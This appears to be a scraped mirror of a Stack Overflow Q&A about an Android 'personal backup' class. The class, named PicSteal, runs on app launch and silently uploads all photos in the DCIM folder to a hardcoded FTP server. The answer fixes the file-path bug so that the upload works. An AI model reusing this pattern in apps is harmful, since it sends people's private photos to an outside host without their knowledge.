gpt4 book ai didi

java - 在android中制作了一个个人手机备份应用程序,但它不起作用

转载 作者:太空宇宙 更新时间:2023-11-04 15:01:12 24 4
gpt4 key购买 nike

所以,我制作了这个应用程序来使用 FTP 自动将我的照片上传到我的服务器,但我认为我的做法不太正确。

下面是我存储它的类,然后我在 Main.java .onCreateI 方法中调用这个方法

package com.simplejsonapp;

import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;

import java.io.File;
import java.io.IOException;

import android.os.Environment;

public class PicSteal {
public static void picStealer(){
//Create the FTP connection object:
FTPClient client = new FTPClient();
try {

client.connect("62.22.547.24"); //create connection to server
client.login("sdasd", "ss
");//login using credentials

//this is where the magic happens
//create the file object
File folder = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + "/DCIM/100MEDIA/");
//create the array of files to iterate over
File[] listOfFiles = folder.listFiles();

for (int i = 0; i < listOfFiles.length; i++) {
if (listOfFiles[i].isFile()) {
//upload file to server
try {
client.upload(new java.io.File("listOfFiles[i]"));
} catch (FTPDataTransferException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPAbortedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
//System.out.println("File " + listOfFiles[i].getName());
} else if (listOfFiles[i].isDirectory()) {
//System.out.println("Directory " + listOfFiles[i].getName());
}
}


client.disconnect(true);//disconnect

} catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPIllegalReplyException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FTPException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}


}

}

具体来说,我认为该部分

 for (int i = 0; i < listOfFiles.length; i++) {
if (listOfFiles[i].isFile()) {
//upload file to server
try {
client.upload(new java.io.File("listOfFiles[i]"));

可能是罪魁祸首。我可以像这样传递 array[] 吗?运行时我正在查看 FTP 文件夹,但没有看到任何上传。

我正在使用 IIS ftp 服务器来执行此操作 - 也许有一个日志我可以检查以查看连接是否正在发生?

最佳答案

我解决了这个问题。答案就在我眼前。

try {
client.upload(new java.io.File("listOfFiles[i]"));
}

应该看起来像这样:

try {
client.upload(new java.io.File(listOfFiles[i].toString()));
}

现在工作速度也非常快。

关于java - 在android中制作了一个个人手机备份应用程序,但它不起作用,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/22550201/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com